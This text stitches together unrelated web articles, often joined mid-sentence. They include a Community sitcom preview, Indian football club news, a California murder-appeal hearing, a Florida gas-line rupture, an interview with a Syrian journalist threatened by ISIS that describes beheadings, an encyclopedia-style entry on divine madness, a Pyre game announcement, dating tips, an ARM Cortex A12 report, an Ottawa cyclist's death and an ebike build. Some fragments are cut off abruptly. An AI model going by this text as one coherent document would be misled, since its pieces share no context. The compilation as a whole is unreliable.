He set the record straight on Tuesday. The proof, of course, will be in Byfuglien’s actions.With Kath & Kim apparently drowned in a pool of its own self-tanner, Parks and Recreation floundering despite itself, The Office seeming more and more like a show sadly past its prime and Chuck still chugging right along despite—wait, Chuck is still on?, it might not seem like the best time for NBC to introduce yet another comedy about lovable losers. Still, Fall 2009 will apparently see the debut of Community, a sitcom starring Chevy Chase and The Soup's Joel McHale (RIP Talk Soup) as bumbly adult students just trying to survive an inglorious return to post-secondary education.
Pleasantly, though, after watching the preview featurette now circulating online, this writer is feeling cautiously optimistic. The cast seems to have struck a balance between stars and new-comers (The Daily Show's John Oliver rounds out the known names, none of whom seem to be resting on their comedic laurels), and while the pacing and pop-culture references could easily edge into pseudo-Gilmore Girls levels of face-clawing snappiness, it's nice to see an NBC comedy deriving humor from something other than overblown social awkwardness and winking stupidity. Not to jinx anything, but Community actually seems kinda smart, sweet and—yeah, fingers definitely crossed here—funny. What a novel idea.
Judge for yourself:
Related links:
List of the Day: Seven Questions About Parks and Recreation's Series Premiere
List of the Day: The 40 Best TV Theme Songs of All Time
Features: Signs of Life 2008: Best TV Shows
Got news tips for Paste? E-mail news@pastemagazine.com.The two Pune based I-League clubs — Pune Football Club (PFC) and Kalyani group-owned Bharat FC (KBFC) — are on the verge of pulling out of the I-League. Should it happen, it will be a massive blow to the All India Football Federation’s blue-riband tournament.Ashok Piramal Group-owned PFC came into existence in 2007 and since then, the game has made high-profile strides in Pune. Bharat FC finished last in the league last season and the management has made no effort to prepare the team for the new season. Several players including Justin Stephen, Ashutosh Mehta, Darren Caldeira, Chinta Chandrashekar Rao and Cornell Glenn were promised a place in the team, but none have been given an official contract.“We have undergone medical tests and are part of the team on verbal assurance,” one player said on condition of anonymity. “It’s has been more than a month since we were assured a contract for the upcoming season. But now the owners have straightaway told us that we will get the contract only if the team decides to participate in the next season. We are most likely to wind up operations. Some of us have even considered offers from other teams.”Coach Stuart Watkiss is yet to hear from the owners. “I don’t think it is appropriate to make any statement as I am yet to get an update from the team owners,” he said. “But there is a lot of gaps that needs to be filled before the next season starts.”The PFC and KBFC team owners were scheduled to meet AIFF president Praful Patel on Tuesday, but that meeting was called off. It is likely to take place next week. When contacted Kunal Agarwal, director Bharat FC, said, “We are looking for clarity from AIFF on the structure of the league. We’ll take a a call on the team’s future then. The league duration is just four months now and we need to know what the team should do for the remainder of the year. Even the Federation Cup is being abolished.The country needs one league and a few parallel cup competitions for Indian football to grow.” It is believed that AIFF president, Patel had suggested the two teams merge, but PFC has refused. Should PFC quit the I-League, it will continue with their academy project that runs teams in three age categories — under-19, under-17 and under-15.Chirag Tanna, head of operations PFC said, “It’s not an ideal situation. Things aren’t moving the way it’s supposed to.”According to the sources, three more teams from the I-league are contemplating a pullout from the upcoming season if the AIFF does not provide them with a concrete solution to the issues they have taken up with the national body.MARTINEZ — In a long-shot bid to get out of prison, a Sinaloa Cartel-connected methamphetamine dealer has accused a disgraced ex-police sergeant of framing him, but details of his argument are protected by a judge’s sealing order.
Jose Carlos “Calacas” Vega-Robles asked a judge to grant him a new trial for 2012 convictions on first- and second-degree murder charges, related to the 2004 killings of 29-year-old Marcelino Guzman-Mercado, shot in El Sobrante during a robbery attempt, and Darryl Grockett, an Aryan Brotherhood prison gang member whose bullet-riddled body was discovered along a remote section of road in the Crockett hills.
Vega-Robles’ attorney has filed several motions detailing her argument, but all are protected by a sealing order. Also sealed are an unknown amount of documents related to an internal affairs investigation into former Richmond police Sgt. Mike Wang, who was accused of accepting bribes, outing an informant, and other misconduct. In 2014, police announced Wang had been fired for “several serious policy violations” without elaborating on specifics.
The city of Richmond requested the documents be sealed, but its motions in support of the sealing order were not found in the court file and are presumably also sealed.
Judge Charles “Ben” Burch indicated at a turbulent hearing Friday morning that he will soon issue a ruling, but appeared skeptical of the defense theory. He at one point asked Carmela Caramagno, Vega-Robles’ attorney, if she thought there was a “grand conspiracy” against her client — who was implicated by the testimony of several witnesses — and her response was a forceful “yes.”
“(The prosecution witnesses) were living and sleeping with each other and they all had the discovery for years,” Caramagno said, later adding, “This trial is about the pressure put on informants to give the testimony that they gave.”
But Burch appeared unmoved. When Caramagno said that Wang was connected to several witnesses against her client and that other officers were using the same informants, the judge forcefully shrugged his shoulders and shot back, “So what?”
“You’re not going to get any argument from me that Wang was a corrupt police officer; that seems very well established,” Burch said. “The question is whether or not he did something that could have affected the jury.”
Burch suggested, though, that some of the information that came out in the internal affairs investigation — where Wang testified in his defense — added “more guilt” against Vega-Robles, not the other way around.
“There has been no suggestion that Wang influenced their testimony,” he said.
It is an unimaginably complex case centered on a multi-million dollar drug ring that included Jose Vega-Robles, a high-ranking Sureño gang, his brother Sergio, a cocaine dealer who laundered money to a clothing business and bought safe houses throughout the North Bay suburbs, and Coby Phillips, a co-founder and leader of the Family Affiliated Irish Mafia who was convicted last year of murdering Grockett.
The defendants bought meth and cocaine from members of the infamous Sinaloa Cartel — sometimes 20 to 30 pounds of a time, then redistributed them to lower-level drug dealers, typically other gang associates. It wasn’t long before they caught the ire of state and federal authorities, who indicted them on separate multi-felony dockets in the late 2000s, including murder charges.
In 2012, Sergio Vega-Robles agreed to testify against Phillips in exchange for a favorable plea deal, but the following year he threw a monkey wrench in the case, coming forward with allegations that Wang had accepted $120,000 in bribes from him, outed a police informant who was later non-fatally shot, and helped facilitate drug deals.
But according to court records, the lead investigator and prosecutor in the Grockett homicide — inspector Shawn Pate and senior deputy district attorney Tom Kensok — first became suspicious of Wang years earlier in 2010, when they bumped into him at the Martinez jail on his way to meet Sergio Vega-Robles, though Wang had moved away from the drug unit and had no official involvement in the case.
In 2004, though, Wang was a high-ranking drug trafficking investigator who was working closely with Sergio Vega-Robles and other police informants. At one point, he reportedly warned Vega-Robles that a Richmond man, Jose Hernandez, was giving police information and they should “stay away.” Instead, “Jose Vega-Robles chose a different tack,” Kensok said. Hernandez was shot several times shortly thereafter, but survived.
Prosecutors only found out about the 2005 Hernandez shooting years later, after a witness came forward in the Mercado-Guzman murder case. When the DA’s office asked Richmond police for records of the shooting, they found there were none. They’d either never been filed, or someone had surreptitiously destroyed them.
Wang had been briefed on both the Grockett and Guzman-Mercado homicides, according to police records, and Caramagno insinuated that he had elicited false testimony from several former gang members, in order to frame Jose Vega-Robles.
“Wang needed to protect his cash cow, who of course was Sergio,” Caramagno said Friday.
But Kensok questioned why Wang, if he wanted to frame someone for murder, would pick his so-called cash cow’s brother as the scapegoat. He also suggested that the lack of reports on the Hernandez shooting suggested Wang knew he’d messed up by warning Sergio Vega-Robles.
Hernandez, when the allegations came to light, sued the city of Richmond and was awarded $700,000 in a settlement.Residents are back in their homes this afternoon after being evacuated for several hours early Saturday morning due to a natural gas line rupture south of Port St. John, in Brevard County.
Crews from Florida Gas Transmission Company are working to repair the line, but residents nearby heard and felt the explosion from the gas line around 6 a.m.
The ruptured gas line was located near the 5700 block of JDs Place, the area of Broadway Boulevard and U.S. 1. It was a frightening morning for some residents.
For hours, it sounded like a jet engine in the nearby neighborhoods.
Several homes were evacuated as a precaution, but there were no injuries, according to Brevard County Fire Rescue. The line itself was in a remote location, but residents said the noise they heard sounded like a bomb.
"I was sleeping and all of a sudden, I heard a big explosion," said Timothy Kuzniar, a nearby resident. "It shoot my whole home, scared my dog to death, and all of a sudden, it sounded like something crashed, something blew up, and then I heard a big hissing noise."
Police were also flooded with calls coming in of people smelling gas. Some reports said the gas smelled reached Melbourne.
Another resident, David Whittamore, describe the noise as a "fighter jet sitting on top of the trailer."
Florida Gas Transmission Company was able to shut down the valves to the north and south of the rupture as they worked to repair the line.
The evacuation was lifted and people were allowed to return to their homes shortly before 9 am. Train service, which was halted because it was near the gas line, also resumed just before 9 a.m.
There is construction going on near the railroad, but an emergency management employee said the construction had nothing to do with the rupture.
The cause of the rupture is still being investigated.One month ago while he was visiting the Netherlands, Hussam Eesa received a phone call from a friend in Germany who was looking after his apartment. He took a step backward and froze on the spot after hearing what his friend was telling him.
One month ago while he was visiting the Netherlands, Hussam Eesa received a phone call from a friend in Germany who was looking after his apartment. He took a step backward and froze on the spot after hearing what his friend was telling him.
Inside his apartment, his friend said, was a note, written in Arabic on a printed photograph of Hussam. It loosely translated to "An agent for the Roman Empire - wanted to die - Hussam Eesa."
It was a death threat, and Hussam knew immediately who the sender was.
Since late 2014, the so-called Islamic State has targeted Hussam Eesa and his colleagues for their work on the online publication Raqqa is Being Slaughtered Silently (RBSS). After Isil took over Raqqa in Syria and declared it the Syrian capital of the Islamic State, RBSS has been bravely documenting the crimes and atrocities committed by the IS administration while living under its control.
RBSS shot undercover videos at public executions and wrote about the true horror of life under the so-called Caliphate. They document the poverty, cruelty and starvation suffered by families living under Isil; about malnourished children whose parents had to join long queues to get basic food supplies, and the lack of fundamental medicines and equipment in hospitals.
At the same time, Daesh (an Arabic translation for Isil, seen as a demeaning term) was using brilliantly-produced flashy propaganda videos extolling the glory and marvel of its newly created Islamic Utopia. In these, it criticised young men and women for co-existing in western countries or the lands of the 'kuffar' - a highly derogatory term for non-Muslims.
Journalist Hussam Eesa
The videos lured thousands of men, women and families to migrate from western or 'crusader' countries to train, fight and die for Isil's depraved ideology following its sweeping successes in capturing a contiguous land-mass the size of Britain.
At its peak, Islamic State controlled 10 million people and ground that straddled the states of Syria and Iraq. Its very existence ripped up the international borders of the modern Middle East, created under the Sykes-Picot agreement in the dying days of the Ottoman Empire.
This was not the first time Hussam or his colleagues had received such a threat from Isil. In October 2015, Hussam had fled to Turkey because Daesh was closing in on him and his group's work. He and two friends received a number of warnings that their lives were in danger, even though they were no longer in Syria.
The final reckoning came on the evening of October 29, when Hussam's co-founder in RBSS, Ibrahim Qader and their friend, Fares Hamadi, were murdered and beheaded in their own apartment by members of the Islamic State group. The group posted pictures of the killings and a carefully manufactured video delighting in their most macabre and evil operation.
It was for this reason that Hussam left Turkey for Europe, to settle in Germany. But it appears nowhere is safe. Last week I caught up with Hussam at an undisclosed location.
"My friend was at my apartment in Cologne - he had gone to use my play-station. He called me and said there was a death threat against me at my house. I told him to go to the police."
The police contacted Hussam.
"They told me 'don't go back to your apartment; stay out of Germany'."
They told him they wanted to find out who was responsible, but in the meantime he should stay safe and gave him some security advice.
"I felt like I had been shot when I heard the news," he said.
"I feel like I've lost the fight. I'm clearly not safe and I don't know where I can be.
"There are many people in Europe who support Isil and perhaps people have come from Syria to here in Europe to help Isil."
He painfully recalled when Fares and Ibrahim were killed by Daesh. They were living in the Turkish city of Urfa, while Hussam lived in Gazientep, to the near-east, both on the Syrian border. He was in close contact with Ibrahim and they continued to investigate and produce work for RBSS.
At one point, Ibrahim introduced an old friend of his from Raqqa, named Tlass.
Tlass was known to have joined Daesh, but promised he had since defected.
"Tlass knew Ibrahim from 2014; they worked together. Then Tlass joined Isil after they took over in Raqqa," Hussam said.
"We told Ibrahim not to trust him - not just Tlass, but anyone from Raqqa. It was too dangerous. It wasn't just me - we all told him not to trust anyone", said Hussam.
Tlass moved into the apartment with Fares and Ibrahim.
"They helped him with getting a job, with money. Ibrahim was a good man - he always wanted to help people, especially people who had no money or a place to live. Ibrahim was working with us and we were writing critical analysis against Isil."
That evening in 2015, Hussam was the last person to speak to Ibrahim.
"It was all about the work. He said 'I'll do it; anything for Raqqa; this is my mission' about one project we had.
"The next morning my colleague called and said Ibrahim was dead.
"First I thought he was joking, but he was crying and said 'they beheaded Ibrahim'."
Two or three people had arrived at the apartment and Ibrahim let them in. They killed both men.
"There is a short video of Fares on the ground with his head cut off, beside his body," said Hussam.
"They did another video of Ibrahim and showed them stabbing him to death. They stabbed him more than 80 times while chanting "you cannot defeat the Islamic State."
"For two or three days I couldn't talk or eat or drink. I had to move straight away for safety, but I didn't know what to do."
Weeks later, a German journalist and friend of Hussam helped him to apply for emergency asylum in Germany. He was given a two-year permit, now due to be renewed. Because he is no longer safe in Germany and due to European asylum rules, it is incredibly difficult for him to receive refugee status and start to rebuild his life.
"I know people here in Europe can't understand the refugee situation, and some believe Europe isn't able to help us.
"No Syrian wanted to come here; they had no choice. If there was a violent war in the UK or Ireland, nobody would want to stay there and die either.
"We lost family, friends, our studies or jobs and homes. Every day I think about getting home, but there's no future there."
At the same time, over 30,000 fighters from nearly 100 countries went to the Islamic State's territory in Raqqa, and Mosul in Iraq, to join and fight for Islamic State. Around 3,000 of these came from France, Belgium, Germany and the UK alone - around 13 of them from Ireland, according to security sources.
"A lot of Europeans went to Syria and are trying to come back; they killed us, they killed my people and destroyed our city," Hussam declared.
One of the most prolific of those was Mohammad Emwazi, aka Jihadi John, the British-Kuwati Isil recruit who personally carried out several beheadings including those of journalists James Foley and Steven Sotloff.
"We received the worst of the Europeans. Jihadi John came to my city and beheaded people, killed my people and was part of the group that crucified people.
"But I don't say that all British people are like this, and it's also true for Syrians. I don't say all Syrians are good people; some refugees are bad, but most just want to be safe; to learn the language of their new country and work."
The recent military offensive in Raqqa has driven Isil from the centre of the city. The cost in destruction and death has been immense.
"I am devastated when I look at the pictures of how Raqqa has been destroyed," said Hussam.
"The price of defeating Isil was to destroy Raqqa. The coalition and the Kurds could have been more careful when they bombed the city. More than 1,900 people were killed in the last three months; there is no bridge, no hospital, nothing left."
He recalls the worst days of living under Isil:
"On Paradise Square in the centre of Raqqa they put heads of people in the square after they had shot or beheaded them. I can't ever get those images out of my head. There was no court or judicial system; they accused them of being spies for the west or the Assad regime.
"Most of them were shot in front of us. A good friend of mine was shot in the street; executed for working for Assad; I'll never forget seeing the fear in their eyes."
Sunday IndependentDivine madness, also known as theia mania and crazy wisdom, refers to unconventional, outrageous, unexpected, or unpredictable behavior linked to religious or spiritual pursuits. Examples of divine madness can be found in Hellenism, Christianity, Hinduism, Buddhism, Sufism, and Shamanism.
It is usually explained as a manifestation of enlightened behavior by persons who have transcended societal norms, or as a means of spiritual practice or teaching among mendicants and teachers. These behaviors may seem to be symptoms of mental illness to mainstream society, but are a form of religious ecstasy, or deliberate "strategic, purposeful activity," "by highly self-aware individuals making strategic use of the theme of madness in the construction of their public personas".
Cross-cultural parallels [ edit ]
According to June McDaniel and other scholars, divine madness is found in the history and practices of many cultures and may reflect religious ecstasy or expression of divine love.[3] Plato in his Phaedrus and his ideas on theia mania, the Hasidic Jews, Eastern Orthodoxy, Western Christianity, Sufism along with Indian religions all bear witness to the phenomenon of divine madness. It is not the ordinary form of madness, but a behavior that is consistent with the premises of a spiritual path or a form of complete absorption in God.[3]
DiValerio notes that comparable "mad saint" traditions exist in Buddhist, Hindu, Islamic and Christian cultures, but warns against "flights of fancy" that too easily draw comparisons between these various phenomena.
Feuerstein lists Zen-poet Han-shan (fl. 9th century) as one of the divinely mad, explaining that when people would ask him about Zen, he would only laugh hysterically. The Zen master Ikkyu (15th century) used to run in his town with a human skeleton to spread the message of the impermanence of life and the grim certainty of death. According to Feuerstein, similar forms of abnormal social behavior and holy madness is found in the history of the Christian saint Isadora and the Sufi Islam storyteller Mulla Nasruddin. Divine madness has parallels in others religions, such as Judaism and Hinduism.[9]
Ancient Greece and Rome: theia mania [ edit ]
Theia mania (Ancient Greek: θεία μανία) is a term used by Plato and his protagonist Socrates to describe a condition of "divine madness" (unusual behavior attributed to the intervention of a god) in the Platonic dialogue Phaedrus.[10] In this work, dating from around 370 BC, Socrates' character describes this state of divine inspiration as follows:
In such families that accumulated vast wealth were found dire plagues and afflictions of the soul, for which mania devised a remedy, inasmuch as the same was a gift from God, if only to be rightly frenzied and possessed, using proper atonement rituals." [11]
Plato further described Divine Madness as a gift of the gods, with Socrates stating in Phaedrus, "in fact the best things we have comes from madness",[12] and expounds upon the concept in Plato's Ion.[note 1] In eastern cultures, it has been deployed as a catalyst and means for the deeper understanding of spiritual concepts.
The poet Virgil, in his Aeneid, describes the Delphian priestess (Pythia) as prophesying in a frenzied state:
...neither her face nor hue went untransformed; Her breast heaved; her wild heart grew large with passion. Taller to their eyes, sounding no longer mortal, she prophesied what was inspired from The God breathing near, uttering words not to be ignored.[citation needed]
In the classical world, the phenomenon of "love at first sight" was understood within the context of a more general conception of passionate love, a kind of madness or, as the Greeks put it, theia mania ("madness from the gods").[14]
Abrahamic religions [ edit ]
Christianity [ edit ]
The 6th-century Saint Simeon, states Feuerstein, simulated insanity with skill. Simeon found a dead dog, tied a cord to the corpse's leg and dragged it through the town, outraging the people, but to Simeon the dead dog represented a form of baggage people carry in their spiritual life. He would enter the local church and throw nuts on the congregation during the liturgy, which he later explained to his friend was him denouncing the hypocrisy in worldly acts and prayers.
The interpretation of madness in Christianity, states Screech, adopted the Platonic belief that madness comes in two forms: bad and good, depending on the assumptions about "the normal" by the majority.[15] Early Christians cherished madness, and being called "mad" by non-Christians.[16] To them it was "glossolalia" or the "tongue of angels".[16] Christ's behavior and teachings were blasphemous madness in his times, and according to Simon Podmore, "Christ's madness served to sanctify blasphemous madness".[17]
Religious ecstasy-type madness was interpreted as good by early Christians, with the help of the Platonic framework. Yet, as Greek philosophy went out of favor in Christian theology, so did these ideas. In the age of Renaissance, charismatic madness regained interest and popular imagination, as did the Socratic proposal of four types of "good madness":[15]
Prophesy, the manic art mystical revelations and initiations poetic arts madness of lovers
In theological context, these were interpreted in part as divine rapture, an escape from the restraint of society, a frenzy for freedom of the soul.[15]
In the 20th-century, Pentecostalism – the charismatic movements within Protestant Christianity particularly in the United States, Latin America and Africa – has encouraged the practice of divine madness among its followers.[18][19] The wisdom and healing power in the possessed, in these movements, is believed to be from the Holy Spirit, a phenomenon called charism ("spiritual gifts"). According to Tanya Luhrmann, the associated "hearing of spiritual voices" may seem to be "mental illness" to many people, but to the followers who shout and dance together as a crowd it isn't.[20] The followers believe that there is a long tradition in Christian spirituality, where saints such as Augustine are stated to have had similar experiences of deliberate hallucinations and madness.[21]
Islam: |
industrialisation intensifies.
If more is not done to save this precious commodity, both people and industry will be left thirsty.A GROUP of skateboarders have been spotted on the roof of Ocean Terminal shopping centre.
A worker returning home on Tuesday pictured the trio casually sitting on the roof with their legs dangling over the edge.
It is not known how the group accessed the roof or whether centre staff were alerted.
The man, who asked not to be named, said: “They were up on the roof above the Ocean Terminal - I don’t know how they managed to get up there.
“It just seemed like there was no security. I don’t know how they managed to get up which is quite worrying.
“I just took a few pictures because you wouldn’t believe it if you said it - you’d think Ocean Terminal would be locked down.
“One of them had a skateboard. They obviously don’t understand the trouble they’ll get into if they get caught.”
The Evening News has contacted Ocean Terminal for comment.We have some very exciting news to share: Our next game, Pyre, will launch this summer on July 25, 2017, on PlayStation 4 and Steam!
· Pre-order Pyre for Steam (or add it to your wishlist!)
· Pre-order Pyre for PlayStation 4
The game's original soundtrack, featuring more than 90 minutes of music by Darren Korb, our audio director and award-winning composer of Bastion and Transistor, will also be available at launch on Steam and through our web site.
About the Game (With New Details!)
Pyre is a party-based RPG in which you lead a band of exiles to freedom through ancient competitions spread across a vast, mystical purgatory. Who shall return to glory, and who shall remain in exile to the end of their days?
A New World From the Creators of Bastion and Transistor
This is the biggest and most imaginative world yet from us at Supergiant! You'll get to know an ensemble cast of characters struggling to earn back their freedom as you make your way across the forsaken land called the Downside. Characters in Pyre come in all shapes and sizes, from hulking demons grown strong from their struggle to survive, to the winged Harps, who plot against their enemies from their mountain nests. Everyone in Pyre has a unique story behind their exile, and their own reasons for wanting to return.
Action-Packed Three-on-Three Battle System
Central to Pyre is the ancient competition called the Rites. Each Rite plays out like an intense close-quarters mystical battle, where the object is to extinguish your adversary's signal flame before they can do the same to you. You'll have to outsmart and outmaneuver your opponents to succeed -- or you can banish them outright with a powerful aura blast.
You'll be up against a colorful cast of adversaries in pitched, high-stakes confrontations where each victory (or defeat!) brings your exiles closer to enlightenment. Choose three exiles from your party for each Rite, and outfit them with powerful Talismans and Masteries to gain an edge.
A Branching Story with No Game-Over
We wanted to make a game that had plenty of challenge and exciting action, but where the fear and frustration of getting stuck was not a factor. Picking yourself up after being defeated could be part of the journey, rather than something that took place in your head while looking at a Game Over screen. So, one of the unique aspects of Pyre is how you are never forced to lose progress. Whether you prevail or fail, your journey continues. The interactive narrative is expressed through a story that should feel personal to you, and that no two players will experience in quite the same way.
Challenge a Friend in Versus Mode
On top of the single-player campaign, Pyre features a local two-player Versus Mode, which lets you play against a friend (or CPU opponent) in one of the game's fast-paced ritual showdowns. You'll be able to form your triumvirate from more than 20 unique characters you'll meet in the campaign, and customize your Rite in a variety of ways -- configuring your characters' abilities, choosing from a variety of stages each with their own distinct effects on gameplay, and more. We think this adds a great deal of lasting value to the game, and we've been having a great time playing it ourselves, trying out every possible character combination we can think of.
Rich, Atmospheric Presentation
Creating a specific and cohesive-feeling tone and atmosphere for our games is very important to us. From the vibrant hand-painted artwork to the evocative, reactive musical score, every aspect of Pyre's presentation is designed to draw you into its mystical fantasy world.
# # #
For more information, please have a look at our Pyre FAQ. Pyre has been in development for nearly three years. We can now safely say that it's the biggest game we've ever created, offering substantially more ways to play and more characters to meet than either Bastion or Transistor before it. With each new game we've made, we've endeavored to push ourselves out of our creative comfort zone to make something that felt fresh to us, in the belief that this would translate to a worthwhile experience for our players. We cannot wait for you to try it and hear what you think.When money’s tight and schedules get hectic, it’s easy to let romance slide. It’s also tough to find ways to carve out the cash when you’re single and dating new people on a fairly regular basis. You don’t want to look cheap, but forking over a hundred bucks per date a couple of times each week can have you spending the equivalent of a second mortgage. Definitely a no-no for the dating on a dime crowd. Here are some of my favorite romantic dates that also happen to be really affordable.
Take a hike:
My favorite kind of hike has some sort of activity waiting at the destination, whether it’s a waterfall, scenic lookout, or even a lighthouse at the end of an urban stroll. It isn’t the jungle or forest that’s necessary (although I love a good autumn hike with brisk weather), it’s having something to do or see at the midpoint before you turn around to hike back. That gives you a topic of conversation on the way there, an actual planned activity, and time during the middle of the date to lounge, swim and generally connect or get to know each other.
Wine tasting:
Pick a winery that requires a scenic drive to get to, and head out after lunch or brunch. You’ll have time to enjoy the tasting and pick out a wine for dinner that evening. Hit the farmers market on the way home to pick up meal prep supplies that will pair nicely with the wine you’ve chosen. This is a nice full-day date that definitely brings style to the romance table without breaking the bank.
Annual passes:
My husband and I are working on our twelfth year of marriage and we still use this strategy. Bonus? It also works great for the single folks who need to constantly have a repertoire of interesting dates at the ready. Annual passes to places like the zoo, museum, and area theme parks provide an entire year’s worth of entertainment for less than most people pay for a movie and a nice dinner out. While we still enjoy those types of evenings, it’s nice to have a pocketful of fun options when boredom strikes during a budget-sensitive month.
Camping:
While family camping is certainly a great way to have fun with the kids, you can also use camping as a great romantic dating idea. If tents and mosquitoes would mean a little too much reality for your definition of romance, consider booking a remote mountain cabin near a stream. Your meal supplies could be brought along and enjoyed by the outdoor fireplace after a brisk swim. Natural getaways like this are perfect for reconnecting after a hectic career year, or taking a new relationship to the next level.
Dinner delivered:
While hauling out a coupon on a dinner date early in the relationship never goes well, picking up dinner for your date on the way to their place where you’ve planned to watch a few movies is a discreet way to work them in until the time is right to have those sort of money-saving conversations. Got a coupon good for BOGO breakfast sandwiches? Simply show up for your morning hiking date with the first meal of the day taken care of. If you’ve got a certificate for $5 off an entrée from your favorite restaurant chain, pick it up curbside on your way. Even when you get to the point where these things are out in the open, it’s a great way to save money on extras like a bar tab and still not have to cook for the evening.
Romance doesn’t have to make you really broke. Finding ways to date on a dime are possible, and can be quite stylish as well.
What are your favorite tips for keeping romance affordable?We’ve talked about the hole in ARM’s product lineup for quite a while now. The Cortex A9 is too slow to compete with the likes of Intel’s Atom and Qualcomm’s Krait 200/300 based SoCs. The Cortex A15 on the other hand outperforms both of those solutions, but at considerably higher power and die area requirements. The slide below from Samsung illustrates my point clearly:
The comparison point here is the Cortex A15 and Cortex A7, but the latter should be quite performance competitive with a Cortex A9 so the comparison is still relevant. The Cortex A15 island in Samsung’s Exynos 5 Octa occupies 5x the die area as the A7 island, and consumes nearly 6x the power. In exchange for 5x the area and 6x the performance, the Cortex A15 offers under 4x the performance. It’s not exactly an area or power efficient solution, but a great option for anyone looking to push the performance envelope.
Today, ARM is addressing that hole with the Cortex A12.
This announcement isn’t a deep architectural disclosure, but we do have some high level details to share. Like AMD’s Jaguar, Intel’s Silvermont and even ARM’s A9, the Cortex A12 is a dual-issue out-of-order architecture. Unlike the Cortex A9, the Cortex A12 is fully out-of-order including the NEON/FP units (NEON/FP was in-order on Cortex A9).
Pipeline length increased a bit compared to Cortex A9 (11 stages), however ARM told me to expect similar frequencies to what we have with the Cortex A9.
The execution back end has also been improved, although I don’t have many details as to how. My guess is we should expect something a bit wider than Cortex A9 but not nearly as wide as Cortex A15.
Memory performance is much improved compared to Cortex A9 as well, which we’ve already demonstrated as a significant weak point in the A9 architecture.
All of the architectural enhancements are supposed to provide up to a 40% increase in performance (IPC) over Cortex A9 at the same frequency and process node. ARM isn’t talking power, other than to say that it can do the same workload at the same power as a Cortex A9. In order words, Cortex A12 should have higher power than Cortex A9 but faster execution reduces total energy consumed. With a higher max power we’ll see more dynamic range in power consumption, but just not nearly as much as with the Cortex A15.
Cortex A12 also adds support for 40-bit memory addressability, an intermediate solution before we get to 64-bit ARMv8 based architectures. Finally, Cortex A12 features the same ACE bus interface as Cortex A7/A15 and can thus be used in big.LITTLE configurations with either core (but likely exclusively with the A7s). Given the lower power profile of Cortex A12, I'm not sure the complexity of doing a big.LITTLE implementation will be worth it though.
ARM expects the Cortex A12 to be used in mainstream smartphones and tablets where cost and power consumption are a bit more important. The design makes a lot of sense, the only downside is its launch timeframe. ARM expects to be sampling Cortex A12 in late 2014 with the first devices showing up in 2015. Update: ARM clarified that SoCs based on Cortex A12 would be shipping to device vendors in mid-2014, with devices shipping to consumers by late 2014 to early 2015. ARM has optimized Cortex A12 processor packs at both Global Foundries (28nm SLP) and TSMC (28nm HPM).A cyclist is dead after being struck by a Tomlinson construction truck and pinned under its back wheel at the intersection of Lyon Street and Laurier Avenue West on Thursday morning.
Family friends have identified the 23-year-old woman as Nusrat Jahan, a Willis College student and daughter of a diplomat working for the Bangladesh High Commission in Ottawa.
Nusrat Jahan, 23, was struck by a truck and killed while cycling on Laurier Avenue West on Sept. 1, 2016. (courtesy of family)
It appears the truck driver was heading east on Laurier and was turning right to head south on Lyon when the crash happened at about 7:45 a.m.
There are segregated bike lanes on Laurier Avenue West.
Melanie McGovern, who works in a building close to the crash site, heard the truck braking and ran outside.
"I heard a big brake, like very loud, and I heard someone screaming. So I just ran and came outside, and we saw that poor lady," she said.
Police are asking any witnesses to come forward to help with the investigation.
A bicycle is seen underneath the Tomlinson construction truck that collided with a cyclist on Thursday morning. (CBC)
Tomlinson will conduct own investigation
Tomlinson spokesman Dale Harley said in an interview Thursday that he can't go into specifics about what happened due to the ongoing investigation.
But he did say the company is co-operating with police and will also conduct its own investigation.
"We're co-operating fully with the authorities. It's an unfortunate occurrence, and condolences to the family and friends," he said.
"It's one of those things that no one likes to see, and we will be conducting, obviously, our own investigation afterwards to try and get to the bottom of this."
The intersection of Laurier Avenue West and Lyon Street was closed and cordoned off as collision investigators reconstructed the crash. (CBC)
Intersection dangerous, some cyclists say
Greg Warne, who uses Laurier's bike lanes every day, said it's a dangerous place.
"It's definitely got more dangerous since those concrete bike lane barriers went up. It's funnelled the street so the cars are a little more cramped, but the big problem is right here," he said, looking at the crash site.
"When you try to go through the intersection and you've got the green, the vehicles are turning right, and they have to turn wider. I've just noticed that since these lanes went up, that there's been a lot of close calls with me. The vehicles, they just don't look when they're turning right and there's a cyclist coming. And this is what happens."
Laurier was closed to traffic in both directions for several hours as police investigated but was reopened before 2 p.m.
Coun. Jeff Leiper called the fatality "unacceptable" and asked residents to meet him and Coun. Catherine McKenney at City Hall's Marion Dewar Plaza at noon Thursday "to express our anger."
This AM's cyclist death unacceptable. <a href="https://twitter.com/cmckenney">@cmckenney</a> and I ask you to Marion Dewar Plaza (City Hall), noon today, to express our anger. <a href="https://twitter.com/hashtag/ottbike?src=hash">#ottbike</a> —@JLeiper
'I appeal to drivers to be careful,' councillor says
Just before the rally began, McKenney told reporters she felt a combination of shock and anger and worry when she learned of the collision.
"I was horrified, I was frightened. I know at least a dozen people who would have been on the Laurier bike lane at that time this morning, as many residents do, so it was disbelief and sadness and frustration and anger... all together," she said.
There will always be human error, but she said it is possible for streets and rules to be designed in ways that prevent any accidents from occurring. For example, there's no law requiring side guards on trucks in Ontario, even though many advocates say they could save lives.
Leiper said it was "tragic" that a cyclist died while using city-built infrastructure intended to keep cyclists safe.
During the rally, he also said more should be done to separate cyclists and pedestrians from vehicles — and urged rally-goers to make their voices heard about spending priorities to make that happen.
"I don't know what happened this morning, but would not mixing our truck route with our main cycling route help save lives?" he asked to applause. "Would investing in safe cycling infrastructure not just down one corridor but the entire city help save lives?"
McKenney also said people should resist the urge to lay blame but emphasized that it's time to stop normalizing the death of pedestrian and cyclists, and instead recognize that these fatalities are preventable.
"I appeal to drivers to be careful. It's not about blame. I think that if we just look for blame, it won't change. We have to look for what can be done to stop it from happening."
A woman in her 20s was pronounced dead at the scene. (Paula Waddell/CBC)“Young fool. Only now, at the end, do you understand. Your feeble skills are no match for the power of the dark side. You have paid the price for your lack of vision.” – Emperor Palpatine
I wanted to do a mid drive build that would be dirt cheap and still work equally well both on single track and on the road as a commuter. In the end, I created a monster that performs well in both arenas, but is the master of none. The old school nuvinci N171 performed well even under tremendous amounts of power, but it was just too heavy to be that much fun in the woods. The Dark Side build did well on the road, but the self-steer of the Mission Command 4 tires and the shorter wheelbase, when compared to Burning Chrome, made this ebike feel a little more squirrely on the road than the solid steel cruiser frame of the Soul Stomper. The Dark Side also can’t hold a candle to Burning Chrome when it comes to how awesome it looks on the street. I guess not every ebike build can be a winner, winner chicken dinner.
I still learned a lot from this build and The Dark Side still performs way better than anything you will ever be able to buy in this price range in the factory-built ebike market.
